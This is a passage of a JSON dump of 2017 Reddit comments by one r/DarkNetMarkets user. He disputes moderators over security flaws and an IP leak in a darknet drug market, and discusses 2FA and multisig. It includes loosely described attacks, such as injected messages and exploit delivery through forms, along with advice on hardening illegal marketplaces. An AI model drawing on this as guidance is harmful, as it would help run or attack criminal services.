1608 "subreddit": "DarkNetMarkets",
1609 "subreddit_id": "t5_2yt0h"
1610 },
1611 {
1612 "author": "t0mcheck",
1613 "author_flair_css_class": null,
1614 "author_flair_text": null,
1615 "body": "I've had this argument hundreds of times - it never leads to any satisfying conclusions for anybody.\n\nI will say this tho - go onto infosec twitter and ask them what their opinion is of PHP apps, i've already said mine\n",
1616 "created_utc": 1501866921,
1617 "id": "dl5zqzw",
1618 "link_id": "t3_6rlczq",
1619 "parent_id": "t1_dl5z8h6",
1620 "retrieved_on": 1501866922,
1621 "score": 1,
1622 "stickied": false,
1623 "subreddit": "DarkNetMarkets",
1624 "subreddit_id": "t5_2yt0h"
1625 },
1626 {
1627 "author": "t0mcheck",
1628 "author_flair_css_class": null,
1629 "author_flair_text": null,
1630 "body": "You have to go out of your way to do it - which is why I like methods like Facebook's `dangerouslySetInnerHTML` in React",
1631 "created_utc": 1501866631,
1632 "id": "dl5zgm2",
1633 "link_id": "t3_6rlczq",
1634 "parent_id": "t1_dl5z4rb",
1635 "retrieved_on": 1501866633,
1636 "score": 1,
1637 "stickied": false,
1638 "subreddit": "DarkNetMarkets",
1639 "subreddit_id": "t5_2yt0h"
1640 },
1641 {
1642 "author": "t0mcheck",
1643 "author_flair_css_class": null,
1644 "author_flair_text": null,
1645 "body": "Not all php programmers are bad programmers but a hell of a many bad programmers are PHP programmers ",
1646 "created_utc": 1501866159,
1647 "id": "dl5yzzk",
1648 "link_id": "t3_6rlczq",
1649 "parent_id": "t1_dl5ypr8",
1650 "retrieved_on": 1501866160,
1651 "score": 1,
1652 "stickied": false,
1653 "subreddit": "DarkNetMarkets",
1654 "subreddit_id": "t5_2yt0h"
1655 },
1656 {
1657 "author": "t0mcheck",
1658 "author_flair_css_class": null,
1659 "author_flair_text": null,
1660 "body": "A lot of this is beyond just the tech used as well - you need good admins. A bad admin can turn any stack into a compromised site, and vice versa a decent admin can keep a hunk of crap running (think Black Market Reloaded) \n\nFrom what I can tell DNMs haven't progressed much since Silk Road 1 - the tech situation between SR1 and DHL isn't too dissimilar - the key difference being that Ross knew his shortcomings and was 100x smarter about getting good people around him and keeping the experts on side.\n\nHad Ross reacted to the first security incidents in the same way DHL did, you could bet he wouldn't have lasted very long either\n\nre: open source - There's already a lot of good open source out there that gets you towards implementing a large part of what a DNM is. Putting well-tested libraries together rather than building everything from scratch and better yet, implement isolated / microservices - can't think of anything off the top of my head that is unique to DNMs other than the very unique threat model",
1661 "created_utc": 1501864257,
1662 "id": "dl5x5am",
1663 "link_id": "t3_6rlczq",
1664 "parent_id": "t1_dl5vwus",
1665 "retrieved_on": 1501864258,
1666 "score": 1,
1667 "stickied": false,
1668 "subreddit": "DarkNetMarkets",
1669 "subreddit_id": "t5_2yt0h"
1670 },
1671 {
1672 "author": "t0mcheck",
1673 "author_flair_css_class": null,
1674 "author_flair_text": null,
1675 "body": "but don't let that stop you from commenting and mod flaring a comment on our next post assuming you're still around\n\nyou dig yourself a foot or two deeper each time you do ",
1676 "created_utc": 1501862963,
1677 "id": "dl5vwwh",
1678 "link_id": "t3_6rf4yf",
1679 "parent_id": "t1_dl5vqoz",
1680 "retrieved_on": 1501862964,
1681 "score": 1,
1682 "stickied": false,
1683 "subreddit": "DarkNetMarkets",
1684 "subreddit_id": "t5_2yt0h"
1685 },
1686 {
1687 "author": "t0mcheck",
1688 "author_flair_css_class": null,
1689 "author_flair_text": null,
1690 "body": "> the same like you could have asked him since you posted about the leak and probably have \n\nno i've made it clear we are never going to co-operate with mod verification here\n\nI want to destroy that process and humiliate it \n\nyou're not worthy of being a proxy of what is right or not - do just fine without you",
1691 "created_utc": 1501862859,
1692 "id": "dl5vtb0",
1693 "link_id": "t3_6rf4yf",
1694 "parent_id": "t1_dl5vqoz",
1695 "retrieved_on": 1501862861,
1696 "score": 1,
1697 "stickied": false,
1698 "subreddit": "DarkNetMarkets",
1699 "subreddit_id": "t5_2yt0h"
1700 },
1701 {
1702 "author": "t0mcheck",
1703 "author_flair_css_class": null,
1704 "author_flair_text": null,
1705 "body": "Look on the bright side - better now via community actions than in 6 months via LE actions",
1706 "created_utc": 1501862757,
1707 "id": "dl5vptu",
1708 "link_id": "t3_6rel47",
1709 "parent_id": "t1_dl5ta4u",
1710 "retrieved_on": 1501862759,
1711 "score": 1,
1712 "stickied": false,
1713 "subreddit": "DarkNetMarkets",
1714 "subreddit_id": "t5_2yt0h"
1715 },
1716 {
1717 "author": "t0mcheck",
1718 "author_flair_css_class": null,
1719 "author_flair_text": null,
1720 "body": "Because these markets are run by amateurs who are willing to take an outsized risk to become overnight successful.\n\nThey're hiring offshore developers from freelance sites, purchasing templates from theme websites, using cheap EU or US based hosting providers, etc. \n\nThey're not just using PHP but using manually written PHP with some Open Source glued together.\n\nI still haven't had a look at all sites - but my impression is there are a lot of sites like DHL - really amateur jobs that are only kept alive through constant patching - like trying to keep an airplane together that is falling apart in mid air and all you have is duct tape \n\nI'm actually looking forward to finding a well implemented and well executed site - as i've mentioned in some other threads - there is so much cool tech and infosec practice available now that can help admins scale and distribute their apps, and to build a proper multi-perimeter defense around their services\n\n",
1721 "created_utc": 1501862643,
1722 "id": "dl5vlti",
1723 "link_id": "t3_6rlczq",
1724 "parent_id": "t3_6rlczq",
1725 "retrieved_on": 1501862643,
1726 "score": 1,
1727 "stickied": false,
1728 "subreddit": "DarkNetMarkets",
1729 "subreddit_id": "t5_2yt0h"
1730 },
1731 {
1732 "author": "t0mcheck",
1733 "author_flair_css_class": null,
1734 "author_flair_text": null,
1735 "body": "Full of shit again.\n\n[Could have verified this one with Pelican](https://camo.githubusercontent.com/56bc292f759da3781f2110d131fe2cad34a58039/687474703a2f2f696d6167652e6962622e636f2f6558486943462f64686c5f30372e706e67) (who is a regular here and your mate in propagating DHL FUD)\n\nCould have [verified this one with the two users mentioned](https://camo.githubusercontent.com/f7678ffe4d7e54ed06fb108d2f663e9ca9c13b05/687474703a2f2f696d6167652e6962622e636f2f6a36475836612f64686c5f30362e706e67)\n\nWhy do you lie?",
1736 "created_utc": 1501862258,
1737 "id": "dl5v8at",
1738 "link_id": "t3_6rf4yf",
1739 "parent_id": "t1_dl5udyu",
1740 "retrieved_on": 1501862259,
1741 "score": 1,
1742 "stickied": false,
1743 "subreddit": "DarkNetMarkets",
1744 "subreddit_id": "t5_2yt0h"
1745 },
1746 {
1747 "author": "t0mcheck",
1748 "author_flair_css_class": null,
1749 "author_flair_text": null,
1750 "body": "they're completely down.\n\nthat answers that.",
1751 "created_utc": 1501857587,
1752 "id": "dl5qu39",
1753 "link_id": "t3_6rel47",
1754 "parent_id": "t1_dl4htxt",
1755 "retrieved_on": 1501857589,
1756 "score": 1,
1757 "stickied": false,
1758 "subreddit": "DarkNetMarkets",
1759 "subreddit_id": "t5_2yt0h"
1760 },
1761 {
1762 "author": "t0mcheck",
1763 "author_flair_css_class": null,
1764 "author_flair_text": null,
1765 "body": "read up on the playpen case. popping firefox isn't difficult - its less than 6 figures for an exploit and not just within reach of the FBI et al but many national police departments around the world \n\ni have no idea why you'd take the risk but hey ..",
1766 "created_utc": 1501857461,
1767 "id": "dl5qpy7",
1768 "link_id": "t3_6rjwqv",
1769 "parent_id": "t1_dl5qjen",
1770 "retrieved_on": 1501857462,
1771 "score": 1,
1772 "stickied": false,
1773 "subreddit": "DarkNetMarkets",
1774 "subreddit_id": "t5_2yt0h"
1775 },
1776 {
1777 "author": "t0mcheck",
1778 "author_flair_css_class": null,
1779 "author_flair_text": null,
1780 "body": "nah I gave him my credentials to DHL so he could find and test stuff\n\nif you find a message that loads a full screen goatse that was me :)",
1781 "created_utc": 1501856424,
1782 "id": "dl5pshh",
1783 "link_id": "t3_6rcwiv",
1784 "parent_id": "t1_dl5en89",
1785 "retrieved_on": 1501856424,
1786 "score": 1,
1787 "stickied": false,
1788 "subreddit": "DarkNetMarkets",
1789 "subreddit_id": "t5_2yt0h"
1790 },
1791 {
1792 "author": "t0mcheck",
1793 "author_flair_css_class": null,
1794 "author_flair_text": null,
1795 "body": "fresh account = posting purgatory until it is manually approved\n\ni have pointed out it discourages throwaway accounts and better anon handling with account rotation but that is a small fry issue with everything else going on atm",
1796 "created_utc": 1501856241,
1797 "id": "dl5pmqg",
1798 "link_id": "t3_6rf4yf",
1799 "parent_id": "t1_dl5gw2w",
1800 "retrieved_on": 1501856242,
1801 "score": 1,
1802 "stickied": false,
1803 "subreddit": "DarkNetMarkets",
1804 "subreddit_id": "t5_2yt0h"
1805 },
1806 {
1807 "author": "t0mcheck",
1808 "author_flair_css_class": null,
1809 "author_flair_text": null,
1810 "body": "what you are asking for is the de facto situation now. no one is going to run vulns by the mod team while I doubt the mod team are going to remove any vuln reports again\n\nthings do and are working without the process - we can demo it again and again :)",
1811 "created_utc": 1501856141,
1812 "id": "dl5pjmh",
1813 "link_id": "t3_6rf4yf",
1814 "parent_id": "t1_dl5n5zp",
1815 "retrieved_on": 1501856142,
1816 "score": 1,
1817 "stickied": false,
1818 "subreddit": "DarkNetMarkets",
1819 "subreddit_id": "t5_2yt0h"
1820 },
1821 {
1822 "author": "t0mcheck",
1823 "author_flair_css_class": null,
1824 "author_flair_text": null,
1825 "body": "some of them seem ok - I think its is more about removing the bad mods \n\nsomeone pm'd me this link:\n\nhttps://www.reddit.com/r/DarkNetMarkets/comments/5tn95v/petition_to_remove_wombat2combat_from_mod/\n\nhad no idea this is an ongoing issue. \n\nhow this has continued i'll never know ",
1826 "created_utc": 1501855864,
1827 "id": "dl5pash",
1828 "link_id": "t3_6rf4yf",
1829 "parent_id": "t1_dl4o4xc",
1830 "retrieved_on": 1501855865,
1831 "score": 1,
1832 "stickied": false,
1833 "subreddit": "DarkNetMarkets",
1834 "subreddit_id": "t5_2yt0h"
1835 },
1836 {
1837 "author": "t0mcheck",
1838 "author_flair_css_class": null,
1839 "author_flair_text": null,
1840 "body": "don't remind me of that mess smh\n\nseeing a mod use a staff member from the actual market to confirm it is fake is horrifying ",
1841 "created_utc": 1501855724,
1842 "id": "dl5p6iy",
1843 "link_id": "t3_6rf4yf",
1844 "parent_id": "t1_dl4l9b5",
1845 "retrieved_on": 1501855726,
1846 "score": 1,
1847 "stickied": false,
1848 "subreddit": "DarkNetMarkets",
1849 "subreddit_id": "t5_2yt0h"
1850 },
1851 {
1852 "author": "t0mcheck",
1853 "author_flair_css_class": null,
1854 "author_flair_text": null,
1855 "body": "Interesting - thanks.",
1856 "created_utc": 1501855461,
1857 "id": "dl5oyhq",
1858 "link_id": "t3_6rcwiv",
1859 "parent_id": "t1_dl5fx9z",
1860 "retrieved_on": 1501855462,
1861 "score": 1,
1862 "stickied": false,
1863 "subreddit": "DarkNetMarkets",
1864 "subreddit_id": "t5_2yt0h"
1865 },
1866 {
1867 "author": "t0mcheck",
1868 "author_flair_css_class": null,
1869 "author_flair_text": null,
1870 "body": "You ordered from DHL today?",
1871 "created_utc": 1501855301,
1872 "id": "dl5otnh",
1873 "link_id": "t3_6rjwqv",
1874 "parent_id": "t1_dl5jdpq",
1875 "retrieved_on": 1501855303,
1876 "score": 1,
1877 "stickied": false,
1878 "subreddit": "DarkNetMarkets",
1879 "subreddit_id": "t5_2yt0h"
1880 },
1881 {
1882 "author": "t0mcheck",
1883 "author_flair_css_class": null,
1884 "author_flair_text": null,
1885 "body": "Just catching up on this. \n\nMy logs show all the DHL related sites went down at 10:13 AM UTC (approx 3h and 45m ago)\n\nIf anyone has times for dnstats then we can correlate it but I don't think it is related\n\nI think DHL have bailed for at least a little while. The last thing we sent them was telling them to come clean properly since their last statement was again very misleading.\n\nThey really need to reevaluate their position - I hope that if they do shut down they do it in a coordinated way and return all coins and scrub all data. ",
1886 "created_utc": 1501855257,
1887 "id": "dl5osbe",
1888 "link_id": "t3_6rjwqv",
1889 "parent_id": "t3_6rjwqv",
1890 "retrieved_on": 1501855258,
1891 "score": 1,
1892 "stickied": false,
1893 "subreddit": "DarkNetMarkets",
1894 "subreddit_id": "t5_2yt0h"
1895 },
1896 {
1897 "author": "t0mcheck",
1898 "author_flair_css_class": null,
1899 "author_flair_text": null,
1900 "body": "Thanks - have been meaning to use Monero more and dive deep into it\n\n 48xKZtSUhsMQRHmSf9VkisWQSqHyvZYotNVBfimNpE3cikNLbWyREbiRrfT7xxqCJw9V63yAiEXBJMXCHwGkfxNh3JSF6rQ",
1901 "created_utc": 1501854682,
1902 "id": "dl5ob7n",
1903 "link_id": "t3_6rcwiv",
1904 "parent_id": "t1_dl5dgip",
1905 "retrieved_on": 1501854683,
1906 "score": 1,
1907 "stickied": false,
1908 "subreddit": "DarkNetMarkets",
1909 "subreddit_id": "t5_2yt0h"
1910 },
1911 {
1912 "author": "t0mcheck",
1913 "author_flair_css_class": null,
1914 "author_flair_text": null,
1915 "body": "Ye that was the path to exfil :) \n\nNot that the login is much more of a hurdle ",
1916 "created_utc": 1501832539,
1917 "id": "dl5dapo",
1918 "link_id": "t3_6rfec4",
1919 "parent_id": "t1_dl59z0i",
1920 "retrieved_on": 1501832540,
1921 "score": 1,
1922 "stickied": false,
1923 "subreddit": "DarkNetMarkets",
1924 "subreddit_id": "t5_2yt0h"
1925 },
1926 {
1927 "author": "t0mcheck",
1928 "author_flair_css_class": null,
1929 "author_flair_text": null,
1930 "body": "I don't know who the OP is or his history - but his reports should be judged on their merits and are can be validated (they are legit).\n\nThe process of reporting bugs needs to be free of subjective biases - it was the appeal to authority with a certain mod on this sub that prevented serious security issues being uncovered and allowing some on here to follow him off the edge of a cliff. Twice. ",
1931 "created_utc": 1501832468,
1932 "id": "dl5d9nl",
1933 "link_id": "t3_6rfec4",
1934 "parent_id": "t1_dl528i1",
1935 "retrieved_on": 1501832469,
1936 "score": 1,
1937 "stickied": false,
1938 "subreddit": "DarkNetMarkets",
1939 "subreddit_id": "t5_2yt0h"
1940 },
1941 {
1942 "author": "t0mcheck",
1943 "author_flair_css_class": null,
1944 "author_flair_text": null,
1945 "body": "Great stuff - thanks for posting it. \n\nI finally got a chance to signup to most markets and noticed (at a very cursory glance) that very few of them correctly implement CAPTCHAs and/or that the CAPTCHA's used are all 20+ year old tech that has been broken for years. With the state of current ML most of those CAPTCHA's are ~10 lines of code and most don't even require ML and an OCR with some image manipulation would do\n\nThere are so many bugs on DHL that we need an entire new vocabulary to describe how bad it is. Words like \"horrible\", \"bad\" etc. have been previously used to describe other sites with somewhat more excusable errors - but this is next level.\n\nHere is one way of putting this into context. When you first start learning about pen testing and infosec you cannot just go out and start breaking into real websites. There are many projects that provide web applications that are intentionally vulnerable - they have one of each type of bug starting from the simplest and most elementary (example: [damn vulnerable web app](https://github.com/ethicalhack3r/DVWA) is popular)\n\nThat is what the DHL app feels like - you really can step through the most basic chapters of an infosec guide (even as a non-developer), open your tools and use DHL as a tutorial site on how to exploit all the basics. It's all there: binding backend server to public interfaces, no firewalling, no intrusion detection, no correct character encoding, no server-side validation of form parameters, no filtering of user data, not escaping the output of user data, no input filtering, a lot of places with no error handling, etc. etc. \n\nIt has all of those bugs that you know about but never think you would find in real surface web applications - let alone on an apparently reputable darknet drug market that has been in operation for two years. \n\nThis should be a wake up call to users and vendors here that the process of applying due diligence to darknetmarkets is flawed and needs to be reformed. \n\nI really don't know what the admins of these sites are thinking. There needs to be a wake up call there that the business plan of hiring a cheap PHP developer, renting a \u20ac20 a month virtual server in the middle of Europe, doing a design yourself or buying a cheap design and then putting all these together to launch a darknet market is a fast track to life in prison in the USA.",
1946 "created_utc": 1501832239,
1947 "id": "dl5d687",
1948 "link_id": "t3_6rfec4",
1949 "parent_id": "t3_6rfec4",
1950 "retrieved_on": 1501832240,
1951 "score": 1,
1952 "stickied": false,
1953 "subreddit": "DarkNetMarkets",
1954 "subreddit_id": "t5_2yt0h"
1955 },
1956 {
1957 "author": "t0mcheck",
1958 "author_flair_css_class": null,
1959 "author_flair_text": null,
1960 "body": "there were vendor messages in my post ",
1961 "created_utc": 1501801022,
1962 "id": "dl4spg0",
1963 "link_id": "t3_6rf4yf",
1964 "parent_id": "t1_dl4o5ak",
1965 "retrieved_on": 1501801023,
1966 "score": 1,
1967 "stickied": false,
1968 "subreddit": "DarkNetMarkets",
1969 "subreddit_id": "t5_2yt0h"
1970 },
1971 {
1972 "author": "t0mcheck",
1973 "author_flair_css_class": null,
1974 "author_flair_text": null,
1975 "body": "> if he would have messaged a vendor for example with contents of his messages, it would show that he the steps actually work.\n\nwhy didn't you do this? there were two screenshots with vendor details including pelican ",
1976 "created_utc": 1501798813,
1977 "id": "dl4qr9z",
1978 "link_id": "t3_6rf4yf",
1979 "parent_id": "t1_dl4oy2y",
1980 "retrieved_on": 1501798814,
1981 "score": 1,
1982 "stickied": false,
1983 "subreddit": "DarkNetMarkets",
1984 "subreddit_id": "t5_2yt0h"
1985 },
1986 {
1987 "author": "t0mcheck",
1988 "author_flair_css_class": null,
1989 "author_flair_text": null,
1990 "body": "contrast:\n\n1. with Dream you have an unverified post that has already been disproven and it is stickied as true\n\n1. the DHL IP leak which was removed *despite* preliminary evidence coming in that it could be true and later being proven true\n\nThere couldn't be a better example of inconsistency and bias - especially when you add to the second case that a mod posted that the story was *fake*",
1991 "created_utc": 1501798547,
1992 "id": "dl4qis0",
1993 "link_id": "t3_6rf4yf",
1994 "parent_id": "t1_dl4q1ge",
1995 "retrieved_on": 1501798548,
1996 "score": 1,
1997 "stickied": false,
1998 "subreddit": "DarkNetMarkets",
1999 "subreddit_id": "t5_2yt0h"
2000 },
2001 {
2002 "author": "t0mcheck",
2003 "author_flair_css_class": null,
2004 "author_flair_text": null,
2005 "body": "> no, not even 5 percent will do that.\n\nYou're making subjective judgements on what should be technical requirements. \n\nIf they won't do that then they *should be encouraged to go and do that*\n\nthe DNMs are way behind the corporate and even social media world when it comes to 2FA - they need to not just catch up but should be ahead.\n\n> remember I repeatedly said I am not an expert\n\nstop arguing about shit then. ",
2006 "created_utc": 1501797626,
2007 "id": "dl4pot3",
2008 "link_id": "t3_6rcwiv",
2009 "parent_id": "t1_dl4p6kx",
2010 "retrieved_on": 1501797627,
2011 "score": 1,
2012 "stickied": false,
2013 "subreddit": "DarkNetMarkets",
2014 "subreddit_id": "t5_2yt0h"
2015 },
2016 {
2017 "author": "t0mcheck",
2018 "author_flair_css_class": null,
2019 "author_flair_text": null,
2020 "body": "If I turn my music down I can almost hear you furiously Googling about U2F trying to find some way to refute what i've said about it lol ",
2021 "created_utc": 1501796732,
2022 "id": "dl4ouyb",
2023 "link_id": "t3_6rcwiv",
2024 "parent_id": "t1_dl4nu7k",
2025 "retrieved_on": 1501796733,
2026 "score": 1,
2027 "stickied": false,
2028 "subreddit": "DarkNetMarkets",
2029 "subreddit_id": "t5_2yt0h"
2030 },
2031 {
2032 "author": "t0mcheck",
2033 "author_flair_css_class": null,
2034 "author_flair_text": null,
2035 "body": "> you just wrote 'take samples'.\n\nYou are verballing and selectively quoting me again in order to further your point. \n\nThis is the last time i'm going to humor any of your comments.\n\nHere is the [3+ page comments I wrote giving you everything you needed to verify with high confidence that the servers were identical](https://pay.reddit.com/r/DarkNetMarkets/comments/6r2ppi/dhl_ipaddress_leak_is_fake/dl1yqxa/)\n\nHere is how I described how to calculate the time diff:\n\n> Using 100+ requests I worked out that the times are within ms of each other\n\n> subtract request + response time and enough samples gives you a standard deviation\n\n\nIf you required more detail from that you could have asked and I would have answered. ",
2036 "created_utc": 1501796537,
2037 "id": "dl4oohq",
2038 "link_id": "t3_6rcwiv",
2039 "parent_id": "t1_dl4oawu",
2040 "retrieved_on": 1501796538,
2041 "score": 1,
2042 "stickied": false,
2043 "subreddit": "DarkNetMarkets",
2044 "subreddit_id": "t5_2yt0h"
2045 },
2046 {
2047 "author": "t0mcheck",
2048 "author_flair_css_class": null,
2049 "author_flair_text": null,
2050 "body": "> markets have to properly implement it and users have to properly use it otherwise the hansa disaster will happen again.\n\nPlease set out where you define what 'proper' means - timestamped from *before* the Hansa takedown ",
2051 "created_utc": 1501796346,
2052 "id": "dl4ohyw",
2053 "link_id": "t3_6rcwiv",
2054 "parent_id": "t1_dl4o1ky",
2055 "retrieved_on": 1501796349,
2056 "score": 1,
2057 "stickied": false,
2058 "subreddit": "DarkNetMarkets",
2059 "subreddit_id": "t5_2yt0h"
2060 },
2061 {
2062 "author": "t0mcheck",
2063 "author_flair_css_class": null,
2064 "author_flair_text": null,
2065 "body": "> yes, many indications but no definite proof. or did I miss your post or comment where you proved that the two servers were using the same clock, not just the same timezone?\n\nThe first comment I posted showed them returning the same time and the same headers to the point of being *one in millions* likely to be the same\n\nEven now with multiple verifications you're still refusing to conceed the point because you're stubborn. \n\nYou have to recognize that these are emotional debates on your end and not rational ones - you're no longer an independent mod but rather a biased participant in this forum doing whatever he can to prevent me from making my points (it isn't working, obviously)",
2066 "created_utc": 1501796264,
2067 "id": "dl4of8q",
2068 "link_id": "t3_6rcwiv",
2069 "parent_id": "t1_dl4o5cv",
2070 "retrieved_on": 1501796266,
2071 "score": 1,
2072 "stickied": false,
2073 "subreddit": "DarkNetMarkets",
2074 "subreddit_id": "t5_2yt0h"
2075 },
2076 {
2077 "author": "t0mcheck",
2078 "author_flair_css_class": null,
2079 "author_flair_text": null,
2080 "body": "> then please tell me how you are going to distribute the special required devices for u2f among thousands of anonymous dnm users.\n\nYou don't understand U2F. Users go and buy a YubiKey then sync it. They can also use software versions that utilize local HSM's or secure enclaves like on a Mac (GitHub does this, as does KeePassXC)\n\n> how will you get users to do for example the hashing themselves who do not even bother to do pgp encryption themselves and prefer the market auto 'encryption'?\n\nYou *really* don't understand TOTP\n\nI have to ask you - why do you insist on getting into pissing matches on topics you say yourself that you are not an expert in?\n\nIt really doesn't make sense that you get this caught up with someone. You *really* need to let this go and just accept that you're out of your depth. \n",
2081 "created_utc": 1501795998,
2082 "id": "dl4o684",
2083 "link_id": "t3_6rcwiv",
2084 "parent_id": "t1_dl4nu7k",
2085 "retrieved_on": 1501795999,
2086 "score": 1,
2087 "stickied": false,
2088 "subreddit": "DarkNetMarkets",
2089 "subreddit_id": "t5_2yt0h"
2090 },
2091 {
2092 "author": "t0mcheck",
2093 "author_flair_css_class": null,
2094 "author_flair_text": null,
2095 "body": "yep i'm waiting for this to be verified before debunking most of what has been said",
2096 "created_utc": 1501795668,
2097 "id": "dl4nuwh",
2098 "link_id": "t3_6re4ch",
2099 "parent_id": "t1_dl4giz3",
2100 "retrieved_on": 1501795669,
2101 "score": 1,
2102 "stickied": false,
2103 "subreddit": "DarkNetMarkets",
2104 "subreddit_id": "t5_2yt0h"
2105 },
2106 {
2107 "author": "t0mcheck",
2108 "author_flair_css_class": null,
2109 "author_flair_text": null,
2110 "body": "soooooooo who was right?",
2111 "created_utc": 1501795469,
2112 "id": "dl4nnx7",
2113 "link_id": "t3_6rcwiv",
2114 "parent_id": "t1_dl4nh5m",
2115 "retrieved_on": 1501795492,
2116 "score": 1,
2117 "stickied": false,
2118 "subreddit": "DarkNetMarkets",
2119 "subreddit_id": "t5_2yt0h"
2120 },
2121 {
2122 "author": "t0mcheck",
2123 "author_flair_css_class": null,
2124 "author_flair_text": null,
2125 "body": "who confirmed the Dream IP address leak?\n\nthat seems the most like-for-like with the DHL situation yet seem to have been handled in completely opposite way \n\n",
2126 "created_utc": 1501795349,
2127 "id": "dl4njox",
2128 "link_id": "t3_6rf4yf",
2129 "parent_id": "t1_dl4ki31",
2130 "retrieved_on": 1501795350,
2131 "score": 1,
2132 "stickied": false,
2133 "subreddit": "DarkNetMarkets",
2134 "subreddit_id": "t5_2yt0h"
2135 },
2136 {
2137 "author": "t0mcheck",
2138 "author_flair_css_class": null,
2139 "author_flair_text": null,
2140 "body": "Hah.. I didn't even read what wombat2combat was asking for in our latest DHL thread but that is hilarious. \n\nyet another challenge designed to never be met or at least not be met quickly (in the meantime he can attempt to taint the post with 'not confirmed' and 'false')",
2141 "created_utc": 1501795125,
2142 "id": "dl4nc2l",
2143 "link_id": "t3_6rf4yf",
2144 "parent_id": "t3_6rf4yf",
2145 "retrieved_on": 1501795126,
2146 "score": 1,
2147 "stickied": false,
2148 "subreddit": "DarkNetMarkets",
2149 "subreddit_id": "t5_2yt0h"
2150 },
2151 {
2152 "author": "t0mcheck",
2153 "author_flair_css_class": null,
2154 "author_flair_text": null,
2155 "body": "> I never disputed that but instead asked you for proof that this is the case for the two server. yet you do not provide that proof.\n\nNo proof from me would satisfy you - we had already been down that rabbit hole, this just happens to be the point where I stopped responding and it ended. \n\nI spent 4 pages of notes describing the technique so you could do it yourself. I even described the formula and how many samples you would need, what to subtract from the results, links to references etc.\n\nYou just ignored it all and continued trolling\n\n",
2156 "created_utc": 1501794482,
2157 "id": "dl4mpjr",
2158 "link_id": "t3_6rcwiv",
2159 "parent_id": "t1_dl4k9h8",
2160 "retrieved_on": 1501794483,
2161 "score": 1,
2162 "stickied": false,
2163 "subreddit": "DarkNetMarkets",
2164 "subreddit_id": "t5_2yt0h"
2165 },
2166 {
2167 "author": "t0mcheck",
2168 "author_flair_css_class": null,
2169 "author_flair_text": null,
2170 "body": "> how about you instead answer my questions like what viable 2fa methods there are for dnms? \n\nAlready have - U2F and TOTP\n\nPGP is the 2FA that isn't viable. It has thousands of users and is implemented incorrectly by almost all markets.\n\nU2F and TOTP have millions of users and are well vetted",
2171 "created_utc": 1501794316,
2172 "id": "dl4mjvr",
2173 "link_id": "t3_6rcwiv",
2174 "parent_id": "t1_dl4k9h8",
2175 "retrieved_on": 1501794317,
2176 "score": 1,
2177 "stickied": false,
2178 "subreddit": "DarkNetMarkets",
2179 "subreddit_id": "t5_2yt0h"
2180 },
2181 {
2182 "author": "t0mcheck",
2183 "author_flair_css_class": null,
2184 "author_flair_text": null,
2185 "body": "> your claim that the servers are the same is still not proven. \n\nDHL has admitted it. At some point you just have to give it up and rejoin us back here in reality.",
2186 "created_utc": 1501793917,
2187 "id": "dl4m5s4",
2188 "link_id": "t3_6rcwiv",
2189 "parent_id": "t1_dl4k9h8",
2190 "retrieved_on": 1501793918,
2191 "score": 1,
2192 "stickied": false,
2193 "subreddit": "DarkNetMarkets",
2194 "subreddit_id": "t5_2yt0h"
2195 },
2196 {
2197 "author": "t0mcheck",
2198 "author_flair_css_class": null,
2199 "author_flair_text": null,
2200 "body": "> no you just said 'You can't delete order details with multisig since the order remains on the blockchain forever' which is about the details of ms that get stored. not about market implementing it in a way that they still can not run off with the money.\n\nHere is what I said about your multisig requirement:\n\n> A blanket requirement on multi-sig doesn't work because there are different types of multi-sig. This could encourage markets to put together very weak versions of multi-sig where there is no benefit at all (ie. 2 of 2 with one part done on the server and the second part done automatically on order)\n\nThat is **exactly** what Hansa did. Nice of you to ignore this from the very comment you quoted the later part of. ",
2201 "created_utc": 1501793858,
2202 "id": "dl4m3my",
2203 "link_id": "t3_6rcwiv",
2204 "parent_id": "t1_dl4k9h8",
2205 "retrieved_on": 1501793861,
2206 "score": 1,
2207 "stickied": false,
2208 "subreddit": "DarkNetMarkets",
2209 "subreddit_id": "t5_2yt0h"
2210 },
2211 {
2212 "author": "t0mcheck",
2213 "author_flair_css_class": null,
2214 "author_flair_text": null,
2215 "body": "> My god people all you have to fucking do is protect yourself this should not be that hard of a concept to grasp. Use TAILS/Whonix/Whatever the fuck you want, manually PGP your messages and nothing even matters after that. \n\nPeople need to stop repeating this. The threat is mass exploitation. Read the playpen and other cases - they pop thousands of clients and link back to IP addresses without anyone noticing.\n\nThe DHL vulns allowed exploit delivery by just pasting it into the form - no need to locate the server, no need to run it as an LE op, no need to take out that admin.\n\nThat is what the real threat is.",
2216 "created_utc": 1501787923,
2217 "id": "dl4g4ro",
2218 "link_id": "t3_6re97q",
2219 "parent_id": "t1_dl4cyoy",
2220 "retrieved_on": 1501787925,
2221 "score": 1,
2222 "stickied": false,
2223 "subreddit": "DarkNetMarkets",
2224 "subreddit_id": "t5_2yt0h"
2225 },
2226 {
2227 "author": "t0mcheck",
2228 "author_flair_css_class": null,
2229 "author_flair_text": null,
2230 "body": "I'm more than happy to work with any other mod on this sub (except that one guy who yells random stuff at me about bad opsec) \n\nI've been doing exactly that with the other mods consistently over the past 48 hours and giving them a heads up on what to expect, what the current situation is etc.\n\nThe problem with wombat is he is conflicted in a bias against me because I spent the first 10 days here calling him out on all the different ways his advice was bad, wrong and destructive. He also doesn't like that I called out his favored technologies and requirements that he set out on his superlist (and it is *his* superlist)\n\nHe is blinded by that and sets up inconsistent and unrealistic expectations. One of the expectations to \"prove\" an exploit was *to take a market down completely*. Think about that for a moment - you have the mods here putting user and vendor data and coins up as a bounty to satisfy their own urges.\n\nIn terms of verifying the live IP of the DHL server wombat's idea of how to verify this to be true was to create a new account and attempt to login using it. It was pointed out by more than one person that this test is flaws. I then told him that we can verify the claim using server fingerprinting. He then decided to dictate what the threshold requirement would be to constitute \"proof\" using a technology he didn't even know existed 10 minutes before that and despite me setting out why the chances of the servers *not* being the same was *one in millions*\n\nHe has said in private messages to claim that *most* of what I have reported so far isn't real (quote \"with all the other bs you are spewing I doubt that all your 'findings' are true.\"). He refers to me as a security expert in quotes. I've been told in modmail that i'm full of shit (by two mods). \n\nI'm more than happy to work with rational and objective mods (as happen yesterday in cleaning up the mess wombat made). I will not be a lapdog and be given hoops to jump through to a person who self-admittantly is not an expert and has a bias against me and a bias in favor of those who oppose me.\n\nThe stuff we post speaks for itself - we don't need wombat to verify it. Ask DHL what happens when you take the line of denying what we post.",
2231 "created_utc": 1501784199,
2232 "id": "dl4cgrw",
2233 "link_id": "t3_6rdpzo",
2234 "parent_id": "t3_6rdpzo",
2235 "retrieved_on": 1501784201,
2236 "score": 1,
2237 "stickied": false,
2238 "subreddit": "DarkNetMarkets",
2239 "subreddit_id": "t5_2yt0h"
2240 },
2241 {
2242 "author": "t0mcheck",
